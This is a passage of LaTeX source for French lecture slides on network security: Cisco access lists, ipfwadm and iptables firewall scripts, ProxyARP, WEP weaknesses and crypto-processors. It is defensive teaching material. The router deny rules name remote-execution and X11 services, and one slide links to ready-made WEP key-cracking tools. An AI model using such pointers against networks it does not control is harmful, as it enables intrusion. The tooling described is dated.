255.255.255.0 ip access-group 100 in media-type 10BaseT ! Effacer l'access-list avant de commencer no access-list 100 ! Les adresses locales access-list 100 deny ip 192.54.148.0 0.0.0.255 any access-list 100 deny ip 192.54.172.0 0.0.0.255 any access-list 100 deny ip 192.54.173.0 0.0.0.255 any access-list 100 deny ip 127.0.0.0 0.255.255.255 any ! Adresses privées du RFC 1597 access-list 100 deny ip 10.0.0.0 0.255.255.255 any access-list 100 deny ip 172.16.0.0 0.15.255.255 any access-list 100 deny ip 192.168.0.0 0.0.255.255 any ! École des Mines, site de Paris access-list 100 permit ip 192.54.165.0 0.0.0.255 any access-list 100 permit ip 194.214.158.0 0.0.0.255 any \end{verbatim} \end{trans} \begin{trans}{Filtrage par port} \begin{itemizer} \item Filtre les services associés à des ports UDP ou TCP \item Interdiction de certains services entrant mais autorise en sortie \item Empêche certains services de passer directement sans mandataire du bastion adresses sources falsifiées \end{itemizer} Exemple sur Cisco : {\scriptsize \begin{verbatim} no service udp-small-servers no service tcp-small-servers !pour le cri (R.Keryell) roazhon, chailly - dmi.ens.fr, trefle.ens.fr access-list 100 permit tcp 129.199.96.17 0.0.0.0 192.54.172.242 0.0.0.0 eq 6000 access-list 100 permit tcp 129.199.96.17 0.0.0.0 192.54.172.200 0.0.0.0 eq 6000 access-list 100 permit tcp 129.199.96.11 0.0.0.0 192.54.172.242 0.0.0.0 eq 6000 access-list 100 permit tcp 129.199.96.11 0.0.0.0 192.54.172.200 0.0.0.0 eq 6000 access-list 100 deny udp any any eq echo access-list 100 deny tcp any any eq echo access-list 100 deny tcp any any eq 11 access-list 100 deny tcp any any eq 15 access-list 100 deny udp any any eq bootps access-list 100 deny udp any any eq tftp access-list 100 deny tcp any any eq 87 access-list 100 deny tcp any any eq 95 access-list 100 deny tcp any any eq sunrpc access-list 100 deny udp any any eq sunrpc access-list 100 deny tcp any any eq 144 access-list 100 deny udp any any eq snmp access-list 100 deny udp any any eq xdmcp access-list 100 deny tcp any any eq exec access-list 100 deny udp any any eq biff access-list 100 deny udp any any eq who access-list 100 deny tcp any any eq cmd access-list 100 deny udp any any eq syslog access-list 100 deny tcp any any eq lpd access-list 100 deny udp any any eq rip access-list 100 deny tcp any any eq 2000 access-list 100 deny tcp any any eq 2001 access-list 100 deny tcp any any eq 2002 access-list 100 deny tcp any any eq 2003 access-list 100 deny udp any any eq 2049 access-list 100 deny tcp any any eq 2049 access-list 100 deny tcp any any eq 6000 access-list 100 deny tcp any any eq 6001 access-list 100 deny tcp any any eq 6002 access-list 100 deny tcp any any eq 6003 access-list 100 permit ip any any \end{verbatim} } \end{trans} \slidepart[Filtrage IP avec du logiciel libre]{Filtrage logiciel libre} \begin{trans}{Filtrage avec du logiciel libre} \LienPDF{http://www.hsc.fr/ressources/presentations/filters/index.html.en} \begin{itemizer} \item $\exists$ logiciels de filtrage libre \item Rapport qualité/prix imbattable \item Code peut être inspecté et est audité par de nombreuses personnes : moins de risque de grosses failles ou de portes dérobées \item $\exists$ aussi des pare-feux commerciaux basés sur ces logiciels \item Font aussi d'autres choses : traduction d'adresse,... \item Exemples : \begin{itemizet} \item NetFilter pour Linux \item IP Filter pour plein d'Unix \item Packet Filter pour OpenBSD \item PktFilter pour Windows 2000 (syntaxe IP Filter) \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{IP Filter} \begin{itemizer} \item Filtre IP qui marche avec la majorité des Unix (module chargeable) \item Autorise/empêche des paquets de passer \item Fait le tri entre toutes les interfaces \item Trie tous les protocoles IP \item Filtre les paquets IP fragmentés \item Gère les sessions TCP \item Trie les paquets IP avec des options spéciales (\texttt{traceroute},...) \item Peut renvoyer des erreurs ICMP ou reset TCP à réception de paquets bloqués \item Peut garder trace de l'état des connexions pour éviter de repasser par tout le processus de filtrage \item Traduction d'adresse (NAT) \item Redirection de connexions vers des mandataires \item Possibilité d'enregistrer des informations sur ce qui se passe \item Utilisés sur des pare-feux commerciaux (BSD) \item Testé sur BSD, Solaris, HP-UX, Tru64, IRIX, QNX \item \LienPDF{http://coombs.anu.edu.au/\string~avalon} \end{itemizer} \end{trans} \begin{trans}{Filter Language Compiler --- {flc}} \begin{itemizer} \item Plusieurs systèmes de pare-feu existent avec leur propres langages... \item \vavers{} Utiliser un langage commun et un compilateur vers les différents langages \begin{itemizet} \item IP Filter (Unix) \item \texttt{ipfw}/\texttt{ipfwadm} (Linux) \item \texttt{ipfirewall} (Linux, BSD) \item Cisco avec les \emph{extended access-lists} \item \texttt{screend} \end{itemizet} \item \LienPDF{http://coombs.anu.edu.au/\string~avalon/flc.html} \end{itemizer} \end{trans} \begin{trans}{Pare-feux sous GNU/Linux} \LienPDF{http://www.linuxsecurity.com/resources/firewalls-1.html} Différents outils en fonction de la version du noyau \frownie \begin{itemizer} \item \texttt{ipfwadm} pour versions $\leq 2.1$ \item \texttt{ipchains} pour versions $2.2$ \item \texttt{iptables} (Netfilter) pour versions $2.4$ \end{itemizer} Bonne nouvelle néanmoins : les outils s'améliorent... \end{trans} %% Bug : n'accepte pas de \texttt{} dans ps2pdf... \begin{trans}{Administration firewall --- {ipfwadm}} \begin{itemizer} \item Contrôle firewall IP et enregistrement de traces. Vient avec Linux \item \texttt{ipfwadm -A \emph{command} \emph{parameters} [\emph{options}]} : mise en place de mesures statistiques \item \texttt{ipfwadm -I \emph{command} \emph{parameters} [\emph{options}]} : règles de filtrage en entrée \item \texttt{ipfwadm -O \emph{command} \emph{parameters} [\emph{options}]} : règles de filtrage en sortie \item \texttt{ipfwadm -F \emph{command} \emph{parameters} [\emph{options}]} : règles de filtrage pour paquets en transit \item \texttt{ipfwadm -M [ -l | -s ] [\emph{options}]} : affiche table de traduction d'adresses, change paramètres \end{itemizer} Exemple réseau interne mastère IAR2M: \begin{verbatim} # reseau interne des mines sur Fontainebleau : directe ipfwadm -F -a accept -S 10.2.16.0/24 -D 192.54.172.0/24 ipfwadm -F -a accept -S 10.2.16.0/24 -D 192.54.148.0/24 # Sinon masquage ipfwadm -F -a accept -S 10.2.16.0/24 -D 0.0.0.0/0 -m # Accepte tout en entrée ipfwadm -I -p accept # Oblige HTTP port 80 à passer par mandataire local ipfwadm -I -a accept -P tcp -V 10.2.16.254 -S 10.2.16.0/24 \ -D 0.0.0.0/0 80 -r 80 \end{verbatim} \end{trans} \begin{trans}{NetFilter (IPTables)} \LienPDF{http://www.netfilter.org/} \begin{itemizer} \item À partir de GNU/Linux 2.4 \item $\exists$ interfaces graphiques \LienPDF{http://online.securityfocus.com/infocus/1410} : \LienPDF{http://expansa.sns.it/knetfilter/} \item Garde un état des paquets passés (suivi de connections TCP (sens, segmentation,...), FTP, DNS, ICMP,...) \item Filtrage par caractéristiques de paquets IP, adresses MAC \item Enregistrements paramétrables (\emph{log}) \item Traduction d'adresses (NAT) et mandataires (\emph{proxy}) transparents \item Contrôle de fréquence de certains paquets (\emph{scan}, dénis de service,...) \item Test sur un processus émetteur/récepteur (\emph{uid}, \emph{gid},...) \item Opérations possibles dans l'espace utilisateur (\texttt{libipq}) \item Extensible \end{itemizer} \end{trans} \begin{trans}{NetFilter pour quoi faire ?} Permet par exemple de : \begin{itemizer} \item Faire un pare-feu avec ou sans état \item Cacher un réseau derrière une seule machine (NAT) si pas assez d'adresses publiques \item Réaliser des mandataires transparents évitant d'avoir à reconfigurer les programmes utilisateurs (HTTP, H.323, FTP,...) \item Marquer des paquets avec différentes qualités de service (QoS pour \texttt{tc} et \texttt{iproute2},...) \item Manipuler à foison les paquets (ToS,...) \end{itemizer} \end{trans} \begin{trans}{Concepts de NetFilter} \LienPDF{http://www.netfilter.org/documentation/tutorials/blueflux/} \begin{itemizer} \item 2 parties : \begin{itemizet} \item NetFilter dans le noyau qui permet d'appeler des fonctions (\emph{hooks}) avec les paquets \item Infrastructure de sélection des paquets \texttt{iptables} pour interagir avec au niveau noyau et utilisateur \end{itemizet} \item Les paquets passent par des « chaînes » : flot de données classique (sorte de sous-programme) \item Dans chaque chaîne on applique les règles d'une ou plusieurs tables dans l'ordre jusqu'à trouver une règle vérifiée ou la règle par défaut (sorte d'instructions) \end{itemizer} \end{trans} \begin{trans}{Routage standard à travers les chaînes} \psfiglarge{dessins/flot_netfilter.idraw} \end{trans} \begin{trans}{Chaînes dans NetFilter} Les paquets passent par \begin{itemizer} \item \texttt{INPUT} : avant d'être utilisés par l'ordinateur local \item \texttt{OUTPUT} : après être générés par l'ordinateur local \item \texttt{FORWARD} : lors du transit par l'ordinateur local (routage) \item \texttt{PREROUTING} : dès réception sur une interface pour un premier paquet (ouverture de connexion) \item \texttt{POSTROUTING} : juste avant émission sur une interface pour un premier paquet (ouverture de connexion) \end{itemizer} \end{trans} \begin{trans}{Tables dans NetFilter} \begin{itemizer} \item 3 tables de base pour mieux structurer les tâches \item \texttt{filter} table par défaut \begin{itemizet} \item Dévouée au pur filtrage des paquets \item S'applique dans les chaînes \texttt{INPUT}, \texttt{FORWARD} et \texttt{OUTPUT} \end{itemizet} \item \texttt{nat} \begin{itemizet} \item Orientée traduction d'adresse \item S'applique dans les chaînes \texttt{PREROUTING}, \texttt{OUTPUT} et \texttt{POSTROUTING} \end{itemizet} \item \texttt{mangle} \begin{itemizet} \item Pour modifications de paquets spécifiques \item \OE{}uvre du côté de \texttt{PREROUTING}, \texttt{OUTPUT} \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Cibles dans une règle NetFilter} \begin{itemizer} \item Définit la cible à prendre dans la table courante si une règle est vérifiée \item Peut être \begin{itemizet} \item Appel à une chaîne définie par l'utilisateur \item Cibles spéciales \begin{itemizec} \item \texttt{ACCEPT} : le paquet continue \item \texttt{DROP} : le paquet part à la poubelle \item \texttt{QUEUE} : le paquet continue sa vie vers l'espace utilisateur \item \texttt{RETURN} : revient après la règle appelante ($\approx$~sous-routine) \end{itemizec} \newslide \item Cibles étendues pour marquer les paquets, faire du log, de la traduction d'adresse, renvoyer des paquets de réponse,... \begin{exemple} # Met en place du masquage sur le paquet partant via ppp0 : iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE # Cache notre réseau local derrière notre réseau public : iptables -t nat -A POSTROUTING -o eth0 -j SNAT \ --to-source 193.50.97.144-193.50.97.147 # Fait du mandataire transparent pour le traffic WWW : iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth1 \ -j DNAT --to-destination 193.50.97.250:8080 \end{exemple} \end{itemizet} \item On peut définir une règle par défaut par chaîne \end{itemizer} \end{trans} \begin{trans}{Utilisation avec {iptables}} \begin{itemizer} \item Commande permettant de manipuler le système de filtrage à partir d'un script \item Administration des chaînes \begin{itemizet} \item \texttt{-L}, \verb|--list| : affiche les règles d'une chaîne \item \texttt{-N}, \verb|--new-chain| : créer une nouvelle chaîne \item \texttt{-F,} \verb|--flush| : vide toutes les règles d'une chaîne \item \texttt{-X}, \verb|--delete-chain| : détruire une chaîne vide \item \texttt{-P}, \verb|--policy| : définit le comportement par défaut (cible) d'une chaîne \item \texttt{-Z}, --zero : met à 0 les compteurs associés à toutes les chaînes \end{itemizet} \item Administration des règles \begin{itemizet} \item \texttt{-A}, \verb|--append| : rajoute une ou plusieurs règles à la fin d'une chaîne \item \texttt{-D}, \verb|--delete| : supprime une ou plusieurs règles dans une chaîne \item \texttt{-R}, \verb|--replace| : remplace une règle dans une chaîne \item \texttt{-I}, \verb|--insert| : insère une ou plusieurs règles dans une chaîne \end{itemizet} \item Administration des tables \begin{itemizet} \item \texttt{-t} précise la table à considérer \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Exemple de pare-feu avec {iptables}} Exemple de pare-feu protégeant un réseau privé derrière une adresse publique \begin{exemple} #!/bin/sh # L'accès au monde extérieur : INET_IP="194.236.50.155" INET_IFACE="eth0" # Le réseau local (privé RFC 1918) LAN_IP="192.168.0.2" LAN_IP_RANGE="192.168.0.0/16" LAN_BCAST_ADRESS="192.168.255.255" LAN_IFACE="eth1" # Mon ego : LO_IFACE="lo" LO_IP="127.0.0.1" IPTABLES="/usr/sbin/iptables" # Par défaut (paranoïaque) : tout à la poubelle ! $IPTABLES -P INPUT DROP $IPTABLES -P OUTPUT DROP $IPTABLES -P FORWARD DROP # Crée une chaîne pour les mauvais paquets TCP : $IPTABLES -N bad_tcp_packets # Crée des chaînes spécifiques pour faire traverser ICMP, TCP et UDP : $IPTABLES -N allowed $IPTABLES -N icmp_packets $IPTABLES -N tcp_packets $IPTABLES -N udpincoming_packets # Règles pour les mauvais paquets TCP : $IPTABLES -A bad_tcp_packets -p tcp ! --syn -m state --state NEW \ -j LOG --log-prefix "New not syn:" $IPTABLES -A bad_tcp_packets -p tcp ! --syn -m state --state NEW -j DROP # Règles pour les bons paquets TCP : $IPTABLES -A allowed -p TCP --syn -j ACCEPT $IPTABLES -A allowed -p TCP -m state --state ESTABLISHED,RELATED -j ACCEPT $IPTABLES -A allowed -p TCP -j DROP # Règles pour TCP : $IPTABLES -A tcp_packets -p TCP -s 0/0 --dport 21 -j allowed $IPTABLES -A tcp_packets -p TCP -s 0/0 --dport 22 -j allowed $IPTABLES -A tcp_packets -p TCP -s 0/0 --dport 80 -j allowed $IPTABLES -A tcp_packets -p TCP -s 0/0 --dport 113 -j allowed # Règles pour UDP : $IPTABLES -A udpincoming_packets -p UDP -s 0/0 \ --destination-port 53 -j ACCEPT # Règles pour ICMP : $IPTABLES -A icmp_packets -p ICMP -s 0/0 --icmp-type 8 -j ACCEPT $IPTABLES -A icmp_packets -p ICMP -s 0/0 --icmp-type 11 -j ACCEPT # Teste les mauvais paquets TCP qui nous sont destinés : $IPTABLES -A INPUT -p tcp -j bad_tcp_packets # Accepte les connexions internes : $IPTABLES -A INPUT -p ALL -i $LAN_IFACE -s $LAN_IP_RANGE -j ACCEPT $IPTABLES -A INPUT -p ALL -i $LO_IFACE -s $LO_IP -j ACCEPT $IPTABLES -A INPUT -p ALL -i $LO_IFACE -s $LAN_IP -j ACCEPT $IPTABLES -A INPUT -p ALL -i $LO_IFACE -s $INET_IP -j ACCEPT $IPTABLES -A INPUT -p ALL -i $LAN_IFACE -d $LAN_BCAST_ADRESS -j ACCEPT # Filtre les connexions depuis l'extérieur : $IPTABLES -A INPUT -p ALL -d $INET_IP -m state \ --state ESTABLISHED,RELATED -j ACCEPT $IPTABLES -A INPUT -p TCP -i $INET_IFACE -j tcp_packets $IPTABLES -A INPUT -p UDP -i $INET_IFACE -j udpincoming_packets $IPTABLES -A INPUT -p ICMP -i $INET_IFACE -j icmp_packets # Enregistre les paquets bizarroïdes : $IPTABLES -A INPUT -m limit --limit 3/minute --limit-burst 3 \ -j LOG --log-level DEBUG --log-prefix "IPT INPUT packet died: " # Filtre sur la fonction de routage : $IPTABLES -A FORWARD -p tcp -j bad_tcp_packets $IPTABLES -A FORWARD -i $LAN_IFACE -j ACCEPT $IPTABLES -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT # Enregistre les paquets bizarroïdes : $IPTABLES -A FORWARD -m limit --limit 3/minute --limit-burst 3 \ -j LOG --log-level DEBUG --log-prefix "IPT FORWARD packet died: " # On est gentil avec les autres : $IPTABLES -A OUTPUT -p tcp -j bad_tcp_packets $IPTABLES -A OUTPUT -p ALL -s $LO_IP -j ACCEPT $IPTABLES -A OUTPUT -p ALL -s $LAN_IP -j ACCEPT $IPTABLES -A OUTPUT -p ALL -s $INET_IP -j ACCEPT # Enregistre une action locale malicieuse : $IPTABLES -A OUTPUT -m limit --limit 3/minute --limit-burst 3 \ -j LOG --log-level DEBUG --log-prefix "IPT OUTPUT packet died: " # Fait de la traduction d'adresses vers l'extérieur : $IPTABLES -t nat -A POSTROUTING -o $INET_IFACE \ -j SNAT --to-source $INET_IP \end{exemple}%$ \end{trans} \begin{trans}{Routeur-parefeu malicieux\ldots} \begin{itemizer} \item Routeurs WiFi Berkin \item $\exists$ Des services à valeur ajouté chez Berkin : contrôle d'accès parental,\ldots \item Idée des marketoïdes de l'entreprise : toutes les 8h le routeur redirige une requête HTTP vers une page de pub de Berkin ! \LienPDF{http://www.theregister.co.uk/content/69/33858.html} \item Belkin a promis de couper ce système en proposant une mise à jour logicielle \LienPDF{http://www.theregister.co.uk/content/6/33918.html} \end{itemizer} \LienPDF{http://ars.userfriendly.org/cartoons/?id=20031109} \psfighautcentre{images/userfriendly_Berkin_uf006120.eps} \end{trans} \slidepart{Délégation} \begin{trans}{Mandatement} \begin{itemizer} \item Passerelle au niveau applicatif sur le bastion \item Évite aux utilisateurs de se connecter sur le bastion pour utiliser des services extérieurs \item Garde des traces \item Pas toujours de mandataires disponibles pour nouveaux services ou pas instantanément \item Certains services ne sont pas délégables ou difficilement (\texttt{talk} fait appel à UDP entre serveurs qui négocie des ports TCP entre clients...) \item Certains serveurs sont mandataires intrinsèquement : SMTP, DNS, NNTP, NTP,... \item \LienPDF{ftp://ftp.tis.com/pub/firewalls/toolkit} TIS Internet Software Toolkit \item \LienPDF{http://ma.us.mirrors.freshmeat.net/appindex/daemons/proxy.html} \end{itemizer} \end{trans} \begin{trans}{ProxyARP} \begin{itemizer} \item Si filtrage au sein d'une entité sans sous-réseaux bien définis \item Obliger le passage par le routeur en annonçant les machines derrière lui avec sa propre adresse physique : mensonge \item Rajout de fausses traductions IP vers l'adresse physique du routeur par interface avec \begin{itemizet} \item Commande \texttt{arp -s \emph{machine} \emph{adresse-ethernet} pub} si possible de le spécifier par interface (Linux). Si netmask possible, utilisation pour faire du CIDR {\footnotesize \begin{verbatim} arp -i eth0 -s 10.2.16.0 00:A0:C9:E5:32:1A netmask 255.255.255.240 pub arp -i eth0 -s 10.2.16.200 00:A0:C9:E5:32:1A pub \end{verbatim} } \item Utilisation sinon du logiciel \texttt{proxyarpd} par exemple \end{itemizet} \item \Attention{} Cela n'économise pas la table de routage... \end{itemizer} \end{trans} \begin{trans}{Réseau sans fil --- WiFi} \begin{itemizer} \item Explosion du 802.11b (11~Mb/s) et 802.11g (54~Mb/s) dans la bande des 2,45~GHz \item Ethernet sans fil \item \Attention{} Pas de limite claire pour les paquets réseaux (pas restreints dans des fils bien contrôlés~!) \item Possibilité de chiffrer les paquets en RC4 avec clés \emph{partagées} sur 40 (WEP) ou 104~bits (WEP2) \begin{itemizet} \item \Attention{} Protocole faible selon \emph{Weaknesses in the Key Scheduling Algorithm of RC4} par Scott \textsc{Fluhrer}, Itsik \textsc{Mantin} et Adi \textsc{Shamir} (2001) \LienPDF{http://citeseer.nj.nec.com/fluhrer01weaknesses.html} \item Si accès à $10^6$ paquets cassage de la clé \item $\exists$ Outils tout faits\ldots\\ \LienPDF{http://airsnort.shmoo.com}\\ \LienPDF{http://wepcrack.sourceforge.net} \end{itemizet} \item $\exists$ Protocoles d'authentification : 802.1x, EAP \item \vavers{} Utiliser du chiffrement fort (IPsec, \texttt{ssh},\ldots) en plus \end{itemizer} \LienPDF{https://www.clusif.asso.fr/fr/production/ouvrages/pdf/RSF.pdf} \end{trans} \slidepart{Logiciel libre} \begin{trans}{Sécurité avec du logiciel libre} \begin{itemizer} \item \LienPDF{http://www.freefire.org} \end{itemizer} \end{trans} \let\vieuxslidevolume=\theslidevolume \slidevolume{CryptoPage} \slidepart{Contexte} \begin{trans}{Piratage informatique} Contenus logiciels, artistiques (films en DVD, musique sur CD) : numériques \begin{itemizer} \item Facile de reproduire des suites de « 0 » et de « 1 » \item Faible coût de production échappant aux lois économiques classiques \item Faible prix du disque dur et développement de média de forte capacité (CD-ROM, DVD) en version inscriptible \item Démocratisation d'Internet et des réseaux rapides : possibilité de télécharger des contenus virtuels \end{itemizer} \belleboite{\vavers $\exists$ Débordements du cadre de la copie privée de sauvegarde...} \end{trans} \begin{trans}{Sécurité des systèmes} \belleboite{Besoin de systèmes résistants} \begin{itemizer} \item Empêcher un virus de lire au clavier le code de carte bleue tapé sur son ordinateur \item Résister aux « bugs » de sécurité \item Banques, distributeurs de billets \item Commerce électronique \item Systèmes défense nationale \item Réseaux sécurisés \end{itemizer} \newslide Attaques possibles : \begin{itemizer} \item Interception des communications ou des bus \item Injections de fausses données (bus, mémoires, ports, réseaux,...) \item Parasites électriques (\emph{glitches},...) \item Rétro-ingéniérie (décapage chimique, micro-sonde ionique,...) \item Accélérateur de particule \item ... \end{itemizer} \belleboite{\vavers Résister au moins aux premières...} \end{trans} \slidepart{Existant} \begin{trans}{Carte à puce} \begin{itemizer} \item Utilise cryptographie forte \item Sécurité garantie par des mécanismes physiques de protection (détection d'ouverture,...) \item Ordinateur embarqué complet mais... petit \item Cadre trop restreint pour un ordinateur standard : besoin de \begin{itemizet} \item Vitesse $> 1$ GFLOPS ($10^9$ opérations flottantes/s) \item Grosse mémoire \item Bus rapide(s) \item Périphériques rapides (disques, écran) \item Système d'exploitation standard \end{itemizet} \end{itemizer} \end{trans} \slidepart{Principe} \begin{trans}{Crypto-processeurs} \psframebox*[fillcolor=black]{\includegraphics[width=\hsize]{dessins/principe_DS5002FP_couleur.idraw}} Idées : \begin{itemizer} \item Chiffrement des bus du processeur \begin{itemizet} \item On ne peut pas comprendre ce qui passe dessus \item On ne peut pas déchiffrer le programme ni les données \end{itemizet} \newslide \item Signature électronique \begin{itemizet} \item Un programme ne peut fonctionner que s'il a été fait pour \emph{ce} processeur \item On ne peut pas injecter de fausses valeurs \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{CryptoPage} \psframebox*[fillcolor=black]{\includegraphics[width=\hsize]{dessins/CryptoPage-1_couleur.idraw}} \end{trans} \slidepart{Conclusion} \begin{trans}{Quelques applications} \begin{itemizer} \item Cartes à puces virtuelles \item Protection des serveurs WWW,... \item \emph{Dongles} virtuels \item Routeurs à logiciel crypté \item Machines virtuelles Java et autres \item Agents secrets (code mobile, applets, mobilets,...) \item Grilles de calcul cryptées \item Antivols électroniques pour ordinateur \end{itemizer} \end{trans} \begin{trans}{Éthique} \begin{itemizer} \item Avoir une clause au contrat de vente permettant de transférer un programme vers un autre ordinateur (panne, vol,...) \item \Attention{} ¿\,Comment savoir ce qui tourne sur son ordinateur ? \begin{itemizet} \item Bugs irréparables \item Comportements cachés \end{itemizet} \item Mais la boîte de Pandore existe déjà \begin{itemizet} \item Actuellement c'est déjà difficile (systèmes d'exploitation propriétaires,...), même avec les sources (empilements logiciels gloutons,...) \item Il y a déjà des closes interdisant la rétro-ingéniérie sur des contrats de logiciels et des comportements cachés \item Identificateur unique du Pentium~III \vavers réactions de rejet... \item Pas le droit de regarder ses DVD avec des logiciels libres... \end{itemizet} \end{itemizer} \end{trans} \let\vieuxslidevolume=\theslidevolume \slidepart{Conclusion} \begin{trans}{Check list} \begin{minipage}{0.25\hsize} \begin{itemizer} \item \Attention{} Beaucoup de choses à vérifier... \item Utiliser une check-list \end{itemizer} \end{minipage} \begin{minipage}{0.7\hsize} \psfiglarge{reseau/getting_files.reduit.eps} \end{minipage} Cf. \emph{Practical UNIX \& Internet Security} \LienPDF{http://www.bigmouse.net/literature/Oreilly/puis/appa\string_01.htm} ou \LienPDF{http://www.securityfocus.com/columnists/220} pour Windows \end{trans} \begin{trans}{Conclusion} \begin{multicols}{2} \psfiglarge{reseau/multimatter.reduit.eps} \begin{itemizer} \item Sécurité : métier difficile... \item Très large : englobe la sécurité physique, disponibilité, accès locaux et distants,... \item Trouver un compromis entre l'ignorance du problème et la psychose paranoïaque \item Faire des audits régulièrement \item Programmeurs généralement non formés à la sécurité \item Utiliser des méthodes cryptographiques (é)prouvées mathématiquement \item Ne pas faire confiance à des méthodes commerciales basées sur l'obscurantisme \item Utiliser des logiciels libres si testé par une communauté importante de pairs \item IPv6 inclura de base l'authentification et le chiffrement \item Avoir un système à jour \item Suivre une \emph{check-list} \item[\vavers{}] Travaux pratiques \end{itemizer} \end{multicols} \end{trans} \begin{trans}{Table des matières} %% Fait quelque chose de compact : %%BUG \begin{multicols}{2} \tiny \let\large=\tiny % Bug ? %\Slidecontents \listofslides \end{multicols} \end{trans} \end{document} %%% Local Variables: %%% mode: latex %%% TeX-master: "trans" %%% End: